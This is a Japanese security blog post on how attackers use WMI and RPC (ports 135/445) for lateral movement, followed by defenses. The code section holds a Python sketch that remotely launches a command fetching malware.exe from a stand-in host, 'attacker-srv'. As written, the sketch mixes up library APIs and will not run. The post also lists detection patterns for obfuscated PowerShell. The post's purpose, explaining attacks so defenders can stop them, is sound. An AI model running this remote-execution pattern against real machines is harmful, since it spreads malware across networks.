【実務・中級編】 WMI(Windows Management Instrumentation)とRPC(ポート135/445)を利用したプロセス遠隔起動 – サイバーセキュリティとプライバシー保護実践ガイド

境界防御の盲点:WMIとRPCが悪用される「正規の悪夢」を解剖する

ネットワークエンジニアの皆さん、お疲れ様。DMZのファイアウォールをガチガチに固め、IDS/IPSをチューニングし、「うちは境界防御が完璧だ」と胸を張っているそこのあなた。少し耳の痛い話をしよう。

ランサムウェアの攻撃者は、もはや派手なゼロデイ脆弱性ばかりを探しているわけじゃない。彼らが最も愛するのは、管理者である我々が日々の運用で便利に使っている「管理用プロトコル」そのものだ。その代表格が WMI (Windows Management Instrumentation) と、それを支える RPC (Remote Procedure Call) である。

今日は、なぜ彼らが 135 や 445 ポート越しに組織内を蹂躙できるのか、その「正規の機能が悪用されるメカニズム」を深掘りしていく。

—

1. なぜ「正規の機能」が凶器になるのか

WMIは、Windows OSの管理、モニタリング、設定変更をリモートから行うための強力なインターフェースだ。これを悪用すれば、攻撃者は感染端末から横展開(Lateral Movement)を行い、標的のPCで遠隔コマンドを実行できる。

厄介なのは、これが「Windowsの仕様」であるという点だ。パケット解析ツールで覗いてみればわかるが、攻撃者が送り込むのは異常なデータではない。認証が通れば、それはOSから見れば「管理者による正当な操作」と区別がつかないのだ。

攻撃のシーケンス(簡略化版)

1. 接続 (RPC): 攻撃者は標的の 135 ポート(RPCエンドポイントマッパー)に接続し、WMIサービスが待機している動的ポート番号を特定する。
2. 認証 (SMB/NTLM/Kerberos): 445 ポート経由でSMBセッションを確立し、認証をパスする。
3. 実行 (WMI): Win32_Process.Create メソッドを呼び出し、ランサムウェアのバイナリや難読化されたPowerShellスクリプトを遠隔起動させる。

—

2. 実務で見る「遠隔起動」のコード実例

攻撃者が Python の impacket ライブラリのようなツールを使って、実際にどのようなロジックでプロセスを叩いているのか、その裏側を見てみよう。もちろん、これは「防御のための理解」として読んでほしい。

# 攻撃者が利用するロジック(概念実証用)
from impacket.dcerpc.v5 import wmi
from impacket.examples.utils import parse_target

# 標的の管理権限を持つ認証情報とターゲットを指定
# 実際はここでNTLMハッシュやKerberosチケットが使用される
target_ip = "192.168.1.50"
cmd = "C:\\Windows\\System32\\cmd.exe /c start \\\\attacker-srv\\share\\malware.exe"

# WMI接続を確立し、プロセスを作成する
# Win32_ProcessクラスのCreateメソッドを叩くのが定石
def execute_remote_cmd(target, command):
    # DCOM経由でWMI名前空間へ接続
    # 実際の実装ではRPCのハンドシェイクが複雑に行われる
    wmi_service = wmi.WMI(target, username='admin', password='password')
    process = wmi_service.Win32_Process()
    
    # 遠隔実行の実行
    result, pid = process.Create(CommandLine=command)
    
    if result == 0:
        print(f"成功: プロセスPID {pid} で実行されました")
    else:
        print(f"失敗: エラーコード {result}")

# このコードが通ってしまう環境は、既に終わっていると認識すべきだ

—

3. 防御の最前線:泥臭い現場の対策

「境界防御は意味がないのか?」と聞かれれば、そんなことはない。ただし、アプローチを変える必要がある。ゼロトラストの観点から、以下の3点を徹底してほしい。

① WMI/RPC通信の可視化とセグメンテーション

135/445 ポートは、ドメイン環境であれば「ドメインコントローラとクライアント間」以外では原則不要だ。VLAN間の通信を ACL や Micro-segmentation で厳格に制御し、不用意な横移動を物理的に遮断せよ。

② 不審なプロセス起動の検知 (EDRの活用)

WMI経由で実行されるプロセスには、親プロセスに WmiPrvSE.exe が現れるという特徴がある。EDRのルール設定で、以下の条件を監視対象にすることをお勧めする。

  • 親プロセス: WmiPrvSE.exe
  • 子プロセス: powershell.exe, cmd.exe, scrcons.exe
  • 引数: encodedcommand, hidden, bypass などの難読化フラグ

③ 認証の強化(LAPSの導入)

攻撃者が横展開できるのは、感染した端末に「ドメイン管理者」の認証情報がメモリ上に残っているからだ。Microsoft LAPS (Local Administrator Password Solution) を導入し、各端末のローカル管理者パスワードを個別にランダム化せよ。これだけで、ある一台が突破された時の被害拡大を防げる。

—

最後に:エンジニアとしての矜持

ネットワークセキュリティの世界では、魔法のような銀の弾丸(Silver Bullet)は存在しない。あるのは、地道な設定の積み重ねと、パケットに対する嗅覚だけだ。

「これくらい動いていて当たり前」と思っているポートこそ、攻撃者の高速道路だ。今日からでもいい、自社のネットワークで 135 や 445 を誰が・どこへ投げているか、一度ログを突き合わせてみてほしい。その先には、思ってもみなかった「不要な通信」の山が見つかるはずだ。

セキュリティは、技術ではなく「規律」だ。健闘を祈る。

コメント

タイトルとURLをコピーしました